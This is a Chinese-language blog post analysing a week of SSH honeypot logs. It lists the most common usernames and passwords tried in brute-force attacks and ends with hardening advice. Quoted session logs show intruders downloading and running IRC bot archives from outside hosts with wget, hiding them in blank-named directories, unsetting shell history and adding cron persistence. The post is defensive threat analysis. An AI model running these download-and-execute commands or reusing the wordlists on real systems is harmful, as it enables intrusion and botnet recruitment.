SSH暴力破解大约自linux系列产品诞生之后,就衍生出来的一种攻击行为,不仅仅SSH暴力破解,ftp、telnet、smtp、mysql等等都是暴力美学黑客的最爱

日前,国外安全研究者做了个统计,他们搭建了一台蜜罐服务器,该服务上安装了修改后的SSHD版本,记录所有的登陆尝试和存储的所有会话,一旦被黑客攻击,可以查看到所有暴力破解尝试记录。

与往年不同,在十年前,一台服务器放在网络上,大概数周的时间才会被黑客光顾,现在一台服务器在网络中,在几个小时之内,就会有黑客开始进行攻击尝试了。

7天的攻击日志分析

蜜罐服务器放到网络一周之后,研究者统计了下日志,发现大约有15000次攻击,大约有50%以上的用户名是root

#attempts #username
   9012  root (58%)
    179  test (1%)
    116  oracle (< 1%)
     87  admin
     82  info
     70  user
     69  postgres
     68  mysql
     68  backup
     55  guest
     49  web
     49  tomcat
     46  michael
     45  r00t
     43  upload
     42  alex
     41  sales
     40  linux
     39  bin
     38  ftp
     35  support
     34  temp
     33  nagios
     31  user1
     30  www
     30  test1
     30  nobody

使用的密码排行:

    365  123456 (2%)
    201  password (1%)
    114  12345 (<1%)
    105  1234
     92  root
     92  123
     84  qwerty
     76  test
     75  1q2w3e4r
     72  1qaz2wsx
     66  qazwsx
     65  123qwe
     58  12
     55  123qaz
     55  0000
     52  oracle
     50  1234567
     47  123456qwerty
     45  password123
     44  12345678
     41  1q2w3e
     40  abc123
     38  okmnji
     34  test123
     32  123456789
     31  postgres
     30  q1w2e3r4
     28  redhat
     27  user
     26  mysql
     24  apache

完整的密码列表在这里,(小编:字典又增加了)

攻击者获得密码(oracle用户)之后并没有立刻登录服务器,而是在几天后登陆服务器,并且修改了服务器的密码,防止后来者继续暴力破解,如下:

Last login: Wed Jul 10 23:05:35 2013 from otherserver.de
oracle@HONEYPOT:~]$
oracle@HONEYPOT ~]$ passwd
Changing password for user oracle.
Changing password for oracle.
(current) UNIX password: 
New password: 
Retype new password: 
passwd: all authentication tokens updated successfully.
oracle@HONEYPOT:~]$ logout

攻击者并没有发现这台服务器是台蜜罐,更改了oracle用户密码之后,攻击者尝试进行提权操作:

[oracle@HONEYPOT ~]$ w
 23:46:08 up 4 days,  4:58,  1 user,  load average: 0.00, 0.01, 0.05
USER     TTY      FROM              LOGIN@   IDLE   JCPU   PCPU WHAT
oracle   pts/1    111.90.151.149   23:45    0.00s  0.02s  0.00s w


[oracle@HONEYPOT ~]$ ls -all
total 20
drwx------ 2 oracle oracle 4096 Jul  8 14:50 
-rw-r--r-- 1 oracle oracle   18 Dec  2  2011 .bash_logout
-rw-r--r-- 1 oracle oracle  176 Dec  2  2011 .bash_profile
-rw-r--r-- 1 oracle oracle  124 Dec  2  2011 .bashrc
[oracle@HONEYPOT ~]$ su 
sudo su
We trust you have received the usual lecture from the local System
Administrator. It usually boils down to these three things:
    #1) Respect the privacy of others.
    #2) Think before you type.
    #3) With great power comes great responsibility.
[sudo] password for oracle: 
oracle is not in the sudoers file.  This incident will be reported.
oracle@HONEYPOT:~
[oracle@HONEYPOT ~]$ su
Password: 
su: incorrect password
[oracle@HONEYPOT ~]$ cd /tmp
[oracle@HONEYPOT tmp]$ mkdir ' '
[oracle@HONEYPOT:/tmp
[oracle@HONEYPOT tmp]$ cd ' '
[oracle@HONEYPOT:/tmp/ 
[oracle@HONEYPOT  ]$ wget ftp://dmitri:123123@200.63.46.99/mech.tgz
--2013-07-09 23:48:01--  ftp://dmitri:*password*@200.63.46.99/mech.tgz
..
Logging in as dmitri ... 
Connecting to 200.63.46.99:21... connected.
Logging in as dmitri ... Logged in!
==> SYST ... done.    ==> PWD ... done.
==> TYPE I ... done.  ==> CWD not needed.
==> SIZE mech.tgz ... 374664
==> PASV ... done.    ==> RETR mech.tgz ... done.
    [<=>                                    ] 0           --.-K/s              


[oracle@HONEYPOT  ]$ tar xzvf mech.tgz 
webmail/
..
webmail/run
[oracle@HONEYPOT  ]$ cd webmail/
[oracle@HONEYPOT webmail]$ ./start sunacai
######Multi Emech on Undernet######
#####      bil TheDemon       #####
%%%%%%%% 
 Undernet !!!    %%%%%%
Am gasit 1 ip-uri
SERVER Montreal.QC.CA.Undernet.org 7000


[oracle@HONEYPOT webmail]$ w
 23:49:27 up 4 days,  5:02,  1 user,  load average: 0.07, 0.03, 0.05
USER     TTY      FROM              LOGIN@   IDLE   JCPU   PCPU WHAT
oracle   pts/1    111.90.151.149   23:45    7.00s  0.05s  0.00s w
[oracle@HONEYPOT webmail]$ logout

从上可以看到,攻击者试图提权到su,然后安装一个IRC bot,另外一个用户guest也被攻击者破解,如下:

Last login: Fri Jul 12 20:21:45 2013 from 223.4.147.8
[?1034h[guest@HONEYPOT ~]$ unset HISTFILE
[guest@HONEYPOT ~]$ unset HISTSAVE
[guest@HONEYPOT ~]$ w
 15:45:40 up 7 days, 20:58,  1 user,  load average: 0.00, 0.01, 0.05
USER     TTY      FROM              LOGIN@   IDLE   JCPU   PCPU WHAT
guest    pts/1    82.137.10.219    15:45    4.00s  0.02s  0.00s w
[guest@HONEYPOT ~]$ passwd
Changing password for user guest.
Changing password for guest.
(current) UNIX password: 
New password: 
Retype new password: 
passwd: all authentication tokens updated successfully.
[guest@HONEYPOT ~]$ uname -a
Linux HONEYPOT REMOVED..
[guest@HONEYPOT ~]$ sudo su
We trust you have received the usual lecture from the local System
Administrator. It usually boils down to these three things:
    #1) Respect the privacy of others.
    #2) Think before you type.
    #3) With great power comes great responsibility.
[sudo] password for guest: 
guest is not in the sudoers file.  This incident will be reported.

[guest@HONEYPOT ~]$ mkdir " "
[guest@HONEYPOT ~]$ cd " "
[guest@HONEYPOT  ]$ wget eduteam.orgfree.com/mech.gz;tar zxvf mech.gz;rm -rf me
ch.gz;cd .bot


* * * * * /home/guest/ /.bot/update >/dev/null 2>&1
./run: ./crond: /lib/ld-linux.so.2: bad ELF interpreter: No such file or directory
[guest@HONEYPOT .bot]$ cd .
[guest@HONEYPOT .bot]$ cd ..
[guest@HONEYPOT  ]$ rm -rf bot
[guest@HONEYPOT  ]$ rm -rf .bot
[guest@HONEYPOT  ]$ wget eduteam.orgfree.com/64mcc.tgz;tar zxvf 64mcc.tgz;rm -r
f 64mcc.tgz;cd 64mcc
--2013-07-14 09:48:11--  http://eduteam.orgfree.com/64mcc.tgz
Resolving eduteam.orgfree.com... 78.47.28.69
Connecting to eduteam.orgfree.com|78.47.28.69|:80... connected.
HTTP request sent, awaiting response... 200 OK
..

[guest@HONEYPOT 64mcc]$ ./start horo
=====>Tase<=====
++++++ *Asta e o arhiva privata*  ++++++++
Am gasit 1 ip-uri
Gata
* * * * * /home/guest/ /64mcc/update >/dev/null 2>&1
EnergyMech 2.8.5, December 30th, 2002
Compiled on Dec 30 2002 10:21:24
Features: LNK, TEL, PIP, DYN, NEW, ALS, WIN, SEF
init: Mech(s) added [ maurice ]
init: EnergyMech running...

bash_history显示了他们的历史操作记录,攻击者尝试通过sudo/su来取消记录日志信息,当失败之后,攻击者下载一个IRC bot,并试图通过漏洞获得root权限,失败之后退出服务器。

结论:

SSH暴力破解现在仍然非常流行,如何保护服务器不受暴力破解攻击,我们总结了下,大致有以下几个方法:

1、使用SSH密钥,禁用口令认证,如果不能做到这一点,务必使用强壮的密码。
2、登陆IP白名单。
3、更改服务器ssh端口。
4、使用snort、ossec等开源的入侵检测设备保护服务器。
posted @ 2018-07-17 12:05  bonelee  阅读(86144)  评论(5编辑  收藏  举报